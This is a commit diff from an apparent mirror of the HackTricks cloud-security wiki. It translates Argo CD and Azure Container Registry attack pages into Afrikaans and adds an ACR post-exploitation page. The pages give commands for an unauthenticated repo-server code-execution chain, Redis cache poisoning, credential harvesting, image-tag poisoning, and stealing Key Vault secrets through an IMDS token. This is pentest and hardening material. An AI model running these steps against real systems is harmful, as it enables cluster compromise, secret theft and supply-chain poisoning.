mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
Binary file not shown.
@@ -1,21 +1,21 @@
|
||||
# Argo CD Security
|
||||
# Argo CD-sekuriteit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basiese inligting
|
||||
|
||||
[Argo CD](https://argo-cd.readthedocs.io/) is 'n GitOps continuous delivery platform vir Kubernetes. Dit monitor Git repositories, render Kubernetes manifests met tools soos Helm, Kustomize, Jsonnet of config management plugins, en reconcile die live cluster state met die desired state wat in Git gestoor is.
|
||||
[Argo CD](https://argo-cd.readthedocs.io/) is 'n GitOps continuous delivery-platform vir Kubernetes. Dit monitor Git-repositories, lewer Kubernetes-manifeste met tools soos Helm, Kustomize, Jsonnet of config management plugins, en bring die live cluster state in ooreenstemming met die gewenste state wat in Git gestoor word.
|
||||
|
||||
Vanuit 'n attacker perspektief, behandel Argo CD as 'n **deployment engine met Kubernetes credentials**. 'n Nuttige Argo CD compromise kan lei tot:
|
||||
Vanuit 'n aanvaller se perspektief moet Argo CD as 'n **deployment-enjin met Kubernetes-geloofsbriewe** beskou word. 'n Nuttige Argo CD-compromise kan lei tot:
|
||||
|
||||
- Access to private Git repositories en repository credentials.
|
||||
- Access to Kubernetes cluster secrets wat deur Argo CD gebruik word.
|
||||
- Toegang tot private Git-repositories en repository credentials.
|
||||
- Toegang tot Kubernetes cluster secrets wat deur Argo CD gebruik word.
|
||||
- Manifest generation code execution in `argocd-repo-server`.
|
||||
- Unauthorized Kubernetes object deployment deur trusted Git repositories, Argo CD applications, of cache manipulation.
|
||||
- Ongemagtigde Kubernetes-object deployment deur vertroude Git-repositories, Argo CD-applications of cache manipulation.
|
||||
|
||||
## Architecture & Interesting Components
|
||||
## Argitektuur en interessante komponente
|
||||
|
||||
Common Kubernetes objects and services:
|
||||
Algemene Kubernetes-objekte en -dienste:
|
||||
```bash
|
||||
kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd'
|
||||
kubectl get applications,appprojects,applicationsets -A 2>/dev/null
|
||||
@@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null
|
||||
```
|
||||
Interessante dienste:
|
||||
|
||||
- **`argocd-server`**: publieke API, web UI, CLI API, authentication en authorization.
|
||||
- **`argocd-application-controller`**: vergelyk desired en live state, en pas dan resources toe op Kubernetes.
|
||||
- **`argocd-repo-server`**: kloon repositories, cache Git data, en run Helm/Kustomize/Jsonnet/plugins om manifests te genereer. Die standaard gRPC-poort is **8081**.
|
||||
- **`argocd-redis`**: cache vir application, manifest en Git reference data. Die standaard Redis-poort is **6379**.
|
||||
- **`argocd-applicationset-controller`**: genereer Argo CD `Application` objects uit generators soos Git, SCM, clusters en pull requests.
|
||||
- **`argocd-server`**: publieke API, web UI, CLI API, verifikasie en magtiging.
|
||||
- **`argocd-application-controller`**: vergelyk die gewenste en huidige toestand, en pas dan resources op Kubernetes toe.
|
||||
- **`argocd-repo-server`**: kloon repositories, cache Git-data, en voer Helm/Kustomize/Jsonnet/plugins uit om manifests te genereer. Die verstek-gRPC-poort is **8081**.
|
||||
- **`argocd-redis`**: cache vir application-, manifest- en Git-reference-data. Die verstek-Redis-poort is **6379**.
|
||||
- **`argocd-applicationset-controller`**: genereer Argo CD `Application`-objekte vanaf generators soos Git, SCM, clusters en pull requests.
|
||||
|
||||
From a compromised pod or internal network segment, check internal reachability:
|
||||
Kontroleer vanaf ’n compromised pod of interne netwerksegment interne bereikbaarheid:
|
||||
```bash
|
||||
nc -vz <argocd-server> 443
|
||||
nc -vz <argocd-repo-server> 8081
|
||||
nc -vz <argocd-redis> 6379
|
||||
```
|
||||
## Public API / UI Attacks
|
||||
## Aanvalle op openbare API / UI
|
||||
|
||||
As jy Argo CD credentials of ’n blootgestelde instance het, begin met die normale API surface:
|
||||
As jy Argo CD-aanmeldbewyse of ’n blootgestelde instansie het, begin met die normale API-aanvalsoppervlak:
|
||||
```bash
|
||||
argocd login <argocd-server>
|
||||
argocd account get-user-info
|
||||
@@ -51,13 +51,13 @@ argocd admin settings rbac can <subject> <action> <resource> <object>
|
||||
```
|
||||
Nuttige aanvalspaaie:
|
||||
|
||||
- **Application write access**: wysig `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings of sync options sodat Argo CD attacker-controlled manifests deploy.
|
||||
- **Project misconfiguration**: `AppProject` objects kan breë `sourceRepos`, breë `destinations`, onveilige `clusterResourceWhitelist`, of swak namespace-beperkings toelaat.
|
||||
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys en tokens kan toelaat om na trusted repos te push of malicious dependencies by te voeg.
|
||||
- **Cluster credential abuse**: cluster secrets kan bearer tokens of exec-provider configuration bevat wat deur Argo CD gebruik word om in target clusters in te deploy.
|
||||
- **Local admin / project tokens**: long-lived Argo CD tokens kan via die API hergebruik word tensy hulle revoked of expired is.
|
||||
- **Application write access**: wysig `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings of sync options sodat Argo CD attacker-beheerde manifests deploy.
|
||||
- **Project misconfiguration**: `AppProject`-objekte kan breë `sourceRepos`, breë `destinations`, onveilige `clusterResourceWhitelist` of swak namespace-beperkings toelaat.
|
||||
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys en tokens kan dit moontlik maak om na vertroude repositories te push of malicious dependencies by te voeg.
|
||||
- **Cluster credential abuse**: cluster secrets kan bearer tokens of exec-provider configuration bevat wat deur Argo CD gebruik word om na target clusters te deploy.
|
||||
- **Local admin / project tokens**: langlewende Argo CD tokens kan deur die API hergebruik word tensy dit revoked of expired is.
|
||||
|
||||
Enumereer configuration vanaf Kubernetes wanneer jy cluster read access het:
|
||||
Enumerate configuration from Kubernetes wanneer jy cluster read access het:
|
||||
```bash
|
||||
kubectl get applications.argoproj.io -A -o yaml
|
||||
kubectl get appprojects.argoproj.io -A -o yaml
|
||||
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
|
||||
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
|
||||
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
|
||||
```
|
||||
## Trusted Git Repository Abuse
|
||||
## Misbruik van Trusted Git Repository
|
||||
|
||||
As jy kan push na 'n repository wat deur Argo CD vertrou word, kan jy gewoonlik beïnvloed wat gedeply word. Die impak hang af van die `AppProject` grense en die service account permissions wat deur die application controller gebruik word.
|
||||
As jy na ’n repository wat deur Argo CD vertrou word kan push, kan jy gewoonlik beïnvloed wat gedeploy word. Die impak hang af van die `AppProject`-grense en die diensrekening-permissies wat deur die application controller gebruik word.
|
||||
|
||||
Algemene payload-liggings:
|
||||
|
||||
- Raw Kubernetes YAML onder 'n application pad.
|
||||
- Rou Kubernetes YAML onder ’n application path.
|
||||
- Helm chart templates en `values.yaml`.
|
||||
- Kustomize overlays, remote bases en generators.
|
||||
- Jsonnet of config management plugin input.
|
||||
- ApplicationSet generator files wat `Application` objects skep of opdateer.
|
||||
- Jsonnet- of config management plugin-invoer.
|
||||
- ApplicationSet generator-lêers wat `Application`-objekte skep of opdateer.
|
||||
|
||||
Kontroleer of die app automated sync, pruning, self-heal, sync windows of manual approvals gebruik:
|
||||
```bash
|
||||
kubectl get applications.argoproj.io -A \
|
||||
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
|
||||
```
|
||||
## Direkte `argocd-repo-server` Misbruik
|
||||
## Direkte Misbruik van `argocd-repo-server`
|
||||
|
||||
Moenie aanvaar dat die publieke Argo CD API die enigste aanvaloppervlak is nie. Interne Argo CD-komponente kommunikeer met `argocd-repo-server` oor gRPC. As arbitrêre pods repo-server kan bereik, kan aanvaller-beheerde interne requests kontroles omseil wat normaalweg deur `argocd-server` afgedwing word.
|
||||
Moenie aanvaar dat die publieke Argo CD API die enigste aanvalsvlak is nie. Interne Argo CD-komponente kommunikeer met `argocd-repo-server` oor gRPC. As arbitrêre pods `repo-server` kan bereik, kan versoeke binne die omgewing wat deur aanvallers beheer word, kontroles omseil wat normaalweg deur `argocd-server` afgedwing word.
|
||||
|
||||
Praktiese kontroles:
|
||||
```bash
|
||||
@@ -94,36 +94,36 @@ nc -vz <argocd-repo-server> 8081
|
||||
```
|
||||
Interessante tekens:
|
||||
|
||||
- Die repo-server gRPC-endpoint is bereikbaar vanaf nie-Argo CD pods.
|
||||
- NetworkPolicies ontbreek of laat net allow-list egress toe sonder om ingress te deny.
|
||||
- Die repo-server het toegang tot custom config management plugins, decryption tools, of repository content van multiple tenants.
|
||||
- Redis is bereikbaar vanaf nie-Argo CD pods, wat cache-inspection of tampering moontlik maak as credentials beskikbaar is of nie vereis word nie.
|
||||
- Die repo-server gRPC endpoint is bereikbaar vanaf nie-Argo CD pods.
|
||||
- NetworkPolicies ontbreek of laat slegs allow-list egress toe sonder om ingress te weier.
|
||||
- Die repo-server het toegang tot custom config management plugins, decryption tools, of repository content van verskeie tenants.
|
||||
- Redis is bereikbaar vanaf nie-Argo CD pods, wat cache-inspeksie of peutery moontlik maak indien credentials beskikbaar is of nie vereis word nie.
|
||||
|
||||
## Unauthenticated Repo-Server RCE via Kustomize Options
|
||||
|
||||
In Julie 2026 het Synacktiv 'n unauthenticated code execution chain in Argo CD se `repo-server` bekendgemaak wanneer 'n attacker die interne gRPC service kan bereik. Die attack misbruik direkte toegang tot `/repository.RepoServerService/GenerateManifest` en attacker-controlled `KustomizeOptions`.
|
||||
In Julie 2026 het Synacktiv 'n unauthenticated code execution chain in Argo CD se `repo-server` bekend gemaak wanneer 'n aanvaller die interne gRPC service kan bereik. Die aanval misbruik direkte toegang tot `/repository.RepoServerService/GenerateManifest` en attacker-controlled `KustomizeOptions`.
|
||||
|
||||
Die gevaarlike primitive is om repo-server te forseer om attacker-controlled repository content te clone en Kustomize met Helm support te laat loop:
|
||||
Die gevaarlike primitive is om repo-server te dwing om attacker-controlled repository content te clone en Kustomize met Helm support uit te voer:
|
||||
```bash
|
||||
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
|
||||
```
|
||||
Minimale kwaadwillige Kustomize-invoer wat nodig is om Helm-verwerking te trigger:
|
||||
Minimale kwaadwillige Kustomize-invoer moet Helm-verwerking aktiveer:
|
||||
```yaml
|
||||
helmCharts:
|
||||
- name: pwn
|
||||
version: 0.0.1
|
||||
```
|
||||
Hoekom dit werk:
|
||||
Waarom dit werk:
|
||||
|
||||
- `argocd-repo-server` kloon die repository voor rendering.
|
||||
- `--helm-command ./payload.sh` los relatief op tot die gekloonde repository.
|
||||
- Code execution vereis nie shell metakarakter-inspuiting as die attacker die gerenderde repository en Kustomize build opsies kan beheer nie.
|
||||
- `argocd-repo-server` kloon die repository voordat dit gerender word.
|
||||
- `--helm-command ./payload.sh` word relatief tot die gekloonde repository opgelos.
|
||||
- Code execution vereis nie shell metacharacter injection nie indien die aanvaller beheer oor die gerenderde repository en Kustomize build options kan verkry.
|
||||
|
||||
Ten tyde van Synacktiv se 1 Julie 2026 disclosure, het hulle berig dat die issue geen amptelike fix of CVE gehad het nie. Behandel dit eers as 'n network-exposure issue: exploitation vereis reachability na die interne repo-server gRPC port.
|
||||
Ten tyde van Synacktiv se bekendmaking op 1 Julie 2026 het hulle berig dat die issue geen amptelike fix of CVE gehad het nie. Behandel dit eerstens as ’n network-exposure-issue: exploitation vereis reachability na die interne repo-server gRPC-port.
|
||||
|
||||
## Redis Cache Poisoning om Manifests te Deploy
|
||||
## Redis Cache Poisoning om Manifeste te Deploy
|
||||
|
||||
Ná code execution in `argocd-repo-server`, of ná direkte toegang tot Redis met geldige credentials, inspekteer Redis-backed cache entries. Argo CD stoor algemeen gzip-gekomprimeerde JSON values.
|
||||
Na code execution in `argocd-repo-server`, of ná direkte toegang tot Redis met geldige credentials, inspekteer Redis-backed cache entries. Argo CD stoor gewoonlik gzip-compressed JSON-values.
|
||||
|
||||
Interessante key prefixes:
|
||||
```text
|
||||
@@ -134,18 +134,18 @@ cluster|... # cluster cache information
|
||||
```
|
||||
Die cache poisoning attack wat deur Synacktiv beskryf word, misbruik twee stukke state:
|
||||
|
||||
1. Wysig die relevante `mfst|...` manifest cache entry om ’n attacker-controlled Kubernetes manifest in te sluit.
|
||||
2. Wysig die verwante `git-refs|...` mapping sodat Argo CD glo die branch het geskuif en dan terug reconcile na die cached revision.
|
||||
1. Wysig die relevante `mfst|...` manifest cache entry om 'n attacker-controlled Kubernetes manifest in te sluit.
|
||||
2. Wysig die verwante `git-refs|...` mapping sodat Argo CD glo dat die branch geskuif het en daarna terug na die cached revision reconcile.
|
||||
|
||||
Impact:
|
||||
|
||||
- Met Auto Sync geaktiveer, kan Argo CD die poisoned cached manifest outomaties toepas.
|
||||
- Sonder Auto Sync kan die payload steeds toegepas word wanneer ’n user die application handmatig sync.
|
||||
- Met Auto Sync enabled kan Argo CD die poisoned cached manifest outomaties apply.
|
||||
- Sonder Auto Sync kan die payload steeds apply wanneer 'n gebruiker die application handmatig sync.
|
||||
- Die finale impact word beperk deur die target application's destination en die Kubernetes permissions wat vir Argo CD beskikbaar is.
|
||||
|
||||
## ApplicationSet Attacks
|
||||
|
||||
ApplicationSet is veral sensitief omdat dit `Application` objects skep of update vanaf generator output.
|
||||
ApplicationSet is besonder sensitief omdat dit `Application` objects vanuit generator output skep of bywerk.
|
||||
|
||||
Review:
|
||||
```bash
|
||||
@@ -154,11 +154,11 @@ kubectl get appprojects.argoproj.io -A -o yaml
|
||||
```
|
||||
Interessante patrone:
|
||||
|
||||
- Git generators wat aanvaller-skryfbare lêers lees wat app-name, paths, projects of destinations beheer.
|
||||
- Pull request generators vir publieke repositories waar onbetroubare bydraers gegenereerde applications kan beïnvloed.
|
||||
- Git generators wat attacker-writable files lees wat app name, paths, projects of destinations beheer.
|
||||
- Pull request generators vir publieke repositories waar untrusted contributors gegenereerde applications kan beïnvloed.
|
||||
- Template fields wat breë destination clusters/namespaces toelaat.
|
||||
- AppProjects wat `sourceRepos: ["*"]` of breë `destinations` toelaat.
|
||||
- Gegenereerde applications wat automated sync en pruning erf.
|
||||
- Gegenereerde applications wat automated sync en pruning oorerf.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
@@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config'
|
||||
```
|
||||
Nuttige doelwitte:
|
||||
|
||||
- Steel `REDIS_PASSWORD` of Redis TLS/client materiaal.
|
||||
- Onttrek repository credentials uit gemonteerde secrets of Argo CD Kubernetes secrets.
|
||||
- Identifiseer cluster credentials wat deur Argo CD gebruik word.
|
||||
- Lees gegenereerde manifests en plugin output wat geïnjecteerde secrets kan insluit.
|
||||
- Kyk of custom plugins, SOPS, Helm secrets, Vault plugins of cloud CLIs decryption keys en cloud credentials blootstel.
|
||||
- Steel `REDIS_PASSWORD` of Redis TLS-/client-materiaal.
|
||||
- Onttrek repository-geloofsbriewe uit gemonteerde secrets of Argo CD Kubernetes-secrets.
|
||||
- Identifiseer cluster-geloofsbriewe wat deur Argo CD gebruik word.
|
||||
- Lees gegenereerde manifests en plugin-uitset wat moontlik geïnjecteerde secrets bevat.
|
||||
- Kontroleer of custom plugins, SOPS, Helm secrets, Vault plugins of cloud CLIs dekripsiesleutels en cloud-geloofsbriewe blootstel.
|
||||
|
||||
## Detection & Hardening
|
||||
## Opsporing en verharding
|
||||
|
||||
Belangrike kontroles:
|
||||
|
||||
- Beperk `argocd-repo-server` poort **8081** en Redis poort **6379** met NetworkPolicies sodat net verwagte Argo CD-komponente daarna kan reik.
|
||||
- In Helm deployments, verifieer dat network policies werklik geskep word. Argo CD Helm chart values het histories component network policy creation verstek na disabled.
|
||||
- Hou `argocd-server` as die geverifieerde toegangspunt. Interne dienste moet nie vanaf arbitrêre workloads bereikbaar wees nie.
|
||||
- Deaktiveer ongebruikte config management tools en plugins.
|
||||
- Beperk `AppProject` `sourceRepos`, `destinations`, namespace permissions en cluster-scoped resources.
|
||||
- Vermy die stoor van breë repository credentials waar 'n laag-geprivilegieerde Argo CD user hergebruik daarvan kan veroorsaak.
|
||||
- Monitor repo-server requests, Kustomize build options, plugin executions, Redis writes en onverwagte toegang tot `mfst|` / `git-refs|` keys.
|
||||
- Roteer Argo CD local users, project tokens, repository credentials en cluster credentials ná compromise.
|
||||
- Beperk `argocd-repo-server`-poort **8081** en Redis-poort **6379** met NetworkPolicies sodat slegs verwagte Argo CD-komponente toegang daartoe kan kry.
|
||||
- Verifieer in Helm-deployments dat network policies werklik geskep word. Argo CD Helm chart-waardes het histories die skepping van komponent-network policies by verstek gedeaktiveer.
|
||||
- Hou `argocd-server` as die geverifieerde toegangspunt. Interne dienste behoort nie vanaf arbitrêre workloads bereikbaar te wees nie.
|
||||
- Deaktiveer ongebruikte config management-tools en plugins.
|
||||
- Beperk `AppProject` se `sourceRepos`, `destinations`, namespace-permissies en cluster-omvattende hulpbronne.
|
||||
- Vermy die stoor van breë repository-geloofsbriewe waar ’n Argo CD-gebruiker met lae voorregte hul hergebruik kan veroorsaak.
|
||||
- Monitor repo-server-versoeke, Kustomize-bouopsies, plugin-uitvoerings, Redis-skryfbewerkings en onverwagte toegang tot `mfst|` / `git-refs|`-sleutels.
|
||||
- Roteer Argo CD-plaaslike gebruikers, projektokens, repository-geloofsbriewe en cluster-geloofsbriewe ná ’n kompromittering.
|
||||
|
||||
Nuttige commands:
|
||||
Nuttige opdragte:
|
||||
```bash
|
||||
kubectl get networkpolicy -n argocd
|
||||
kubectl get networkpolicy -A | grep -i argocd
|
||||
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
|
||||
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
|
||||
```
|
||||
## Static Analysis Note: Typed API Requests in CodeQL
|
||||
## Nota oor Static Analysis: Getipeerde API Requests in CodeQL
|
||||
|
||||
Vir Go services wat gRPC/REST handlers gebruik, kan default CodeQL remote sources flows mis nadat raw input in typed request objects ge-unmarshal is. ’n Nuttige model vir Argo CD-style services is:
|
||||
Vir Go-services wat gRPC/REST-handlers gebruik, kan die verstek CodeQL remote sources flows mis sodra raw input in getipeerde request objects unmarshaled is. ’n Nuttige model vir Argo CD-styl services is:
|
||||
|
||||
- Receiver type soos `Server` of `Service`.
|
||||
- Eerste parameter is `context.Context`.
|
||||
- Tweede parameter is ’n typed request object.
|
||||
- Tweede parameter is ’n getipeerde request object.
|
||||
|
||||
Model daardie tweede parameter as ’n remote source en voeg custom sinks vir `exec.Command` / `exec.CommandContext` arguments by. Dit help om flows van internal API request fields na command execution helpers te vind.
|
||||
Modelleer daardie tweede parameter as ’n remote source en voeg custom sinks by vir `exec.Command` / `exec.CommandContext`-arguments. Dit help om flows vanaf interne API-request-velde na command execution helpers te vind.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
|
||||
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
|
||||
- [Argo CD docs - Sekuriteitsoorwegings](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
|
||||
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
|
||||
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
|
||||
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
|
||||
- [Argo CD - repo-server NetworkPolicy-manifes](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
|
||||
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
|
||||
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
|
||||
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,4 +6,8 @@
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
az-container-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
# Az - Container Registry Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Vir meer inligting oor hierdie diens, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
|
||||
|
||||
'n Identiteit met ACR management-plane-toegang kan daardie toegang omskakel in **herbruikbare Docker credentials**. As die **admin user** gedeaktiveer is, maar die principal ook `registries/write` het, aktiveer dit, herwin die wagwoorde en authenticateer direk teen `<registry>.azurecr.io`.
|
||||
```bash
|
||||
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
|
||||
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
|
||||
az acr credential show -n <registry-name>
|
||||
docker login <registry-name>.azurecr.io -u <username> -p <password>
|
||||
```
|
||||
Dit is nuttig omdat die herwonne credentials buite die Azure CLI hergebruik kan word om registry-inhoud te **list, pull, push, overwrite, en soms delete** totdat die admin account gedeaktiveer word of die wagwoorde geroteer word.
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/pull/read`
|
||||
|
||||
Gebruik pull access vir **repository reconnaissance** en **secret hunting** binne images. Hersien beide die finale container-konfigurasie en die historiese filesystem-layers, omdat lêers wat in een layer gekopieer is, steeds herwinbaar kan wees, selfs al word hulle later uitgevee.
|
||||
```bash
|
||||
az acr repository list -n <registry-name>
|
||||
az acr repository show-tags -n <registry-name> --repository <repository> --detail
|
||||
docker pull <registry-name>.azurecr.io/<repository>:<tag>
|
||||
|
||||
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
|
||||
docker cp "$container_id":/ ./extracted_container
|
||||
docker rm "$container_id"
|
||||
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
|
||||
dive <registry-name>.azurecr.io/<repository>:<tag>
|
||||
```
|
||||
Hoëwaarde-teikens sluit **omgewingsveranderlikes**, **toepassingskonfigurasies**, **deployment-skripte**, **sertifikate**, **toegangstokens** en **verbindingstringe** in. Vir meer idees wanneer jy lae hersien, kyk na die Docker forensics-bladsy:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/push/write`
|
||||
|
||||
Push-toegang stel ’n aanvaller in staat om **vertroude repositories te vergiftig** of **aanpasbare tags** soos `latest`, `prod` of `stable` te **oorskryf**. Enige workload wat steeds volgens tag eerder as digest deploy, kan die aanvaller se image tydens die volgende deployment, scale-out-gebeurtenis of herbegin trek.
|
||||
```bash
|
||||
# Retag an existing local image for the target ACR
|
||||
|
||||
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
|
||||
# If your workstation architecture differs from the target runtime, build for the consumer platform first
|
||||
|
||||
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
|
||||
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
```
|
||||
Voordat jy ’n tag vervang, verifieer watter repositories en tags werklik deur downstream workloads gebruik word. **Digest-pinned** consumers (`@sha256:...`) is baie moeiliker om te redirect as tag-gebaseerde consumers.
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
|
||||
|
||||
As jy beide die **image** wat deur ’n downstream container workload gebruik word kan vervang en daardie workload kan restart, word die kwaadwillige entrypoint binne die teikencontainer se **network- en managed identity-konteks** uitgevoer. Van daar af kan die image tokens vanaf IMDS aanvra en toegang verkry tot Azure-resources wat vir daardie workload identity bereikbaar is.
|
||||
```bash
|
||||
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
|
||||
az container restart --resource-group <resource-group> --name <container-name>
|
||||
```
|
||||
This turns an ACR tag overwrite into **code execution**, **secret theft**, or **lateral movement** binne enige container consumer wat die gewysigde tag vertrou en ’n nuttige identity blootstel.
|
||||
|
||||
### Verwante privesc path: ACR Tasks managed identities
|
||||
|
||||
As jy ook `Microsoft.ContainerRegistry/registries/tasks/write` en `Microsoft.ContainerRegistry/registries/runs/write` het, gaan voort na die ACR privesc path en abuse die task se managed identity direk:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
|
||||
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
|
||||
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
|
||||
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
|
||||
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Azure Container Registry (ACR) is 'n veilige, private registry wat jou laat toe om **container images in die Azure cloud te stoor, te bestuur, en toegang daartoe te kry**. Dit integreer naatloos met verskeie Azure-dienste, en bied outomatiese build- en deployment-werkvloei op skaal. Met kenmerke soos geo-replication en vulnerability scanning help ACR om enterprise-grade security en compliance vir containerized applications te verseker.
|
||||
Azure Container Registry (ACR) is 'n veilige, private registry waarmee jy **container images in die Azure cloud kan stoor, bestuur en toegang daartoe verkry**. Dit integreer naatloos met verskeie Azure-dienste en bied geoutomatiseerde build- en deployment-werkvloei op skaal. Met features soos geo-replication en vulnerability scanning help ACR om enterprise-grade security en compliance vir containerized applications te verseker.
|
||||
|
||||
### Permissions
|
||||
|
||||
Dit is die **verskillende permissions** [volgens die docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) wat oor 'n Container Registry gegee kan word:
|
||||
Hierdie is die **verskillende permissions** [volgens die docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) wat oor 'n Container Registry gegee kan word:
|
||||
|
||||
- Access Resource Manager
|
||||
- Create/delete registry
|
||||
@@ -25,16 +25,16 @@ Daar is ook sommige **built-in roles** wat toegeken kan word, en dit is ook moon
|
||||
### Authentication
|
||||
|
||||
> [!WARNING]
|
||||
> Dit is baie imporatant dat selfs al bevat die registry-naam sommige hoofletters, jy altyd **kleinletters** moet gebruik om aan te meld, images te push en te pull.
|
||||
> Dit is baie belangrik dat jy, selfs al bevat die registry se naam hoofletters, altyd **lowercase letters** gebruik om images te login, push en pull.
|
||||
|
||||
Daar is 4 maniere om by 'n ACR te authenticate:
|
||||
Daar is 4 maniere om aan 'n ACR te authenticate:
|
||||
|
||||
- **With Entra ID**: Dit is die **default** manier om by 'n ACR te authenticate. Dit gebruik die **`az acr login`** command om by die ACR te authenticate. Hierdie command sal die **credentials** in die **`~/.docker/config.json`** lêer **store**. Verder, as jy hierdie command vanuit 'n environment sonder toegang tot 'n docker socket soos in 'n **cloud shell**, is dit moontlik om die **`--expose-token`** vlag te gebruik om die **token** te kry om by die ACR te authenticate. Dan, om te authenticate moet jy as user name `00000000-0000-0000-0000-000000000000` gebruik soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **With an admin account**: The admin user is by default gedeaktiveer maar dit kan geaktiveer word en dan sal dit moontlik wees om toegang tot die registry te kry met die **username** en **password** van die admin account met volle permissions tot die registry. Dit word steeds ondersteun omdat sommige Azure-dienste dit gebruik. Let daarop dat **2 passwords** vir hierdie user geskep word en albei is geldig. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die username gewoonlik die registry-naam is (en nie `admin` nie).
|
||||
- **With a token**: Dit is moontlik om 'n **token** met 'n **specific `scope map`** (permissions) te skep om toegang tot die registry te kry. Dan is dit moontlik om die naam van die token as username en enige van die gegenereerde passwords te gebruik om by die registry te authenticate met `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
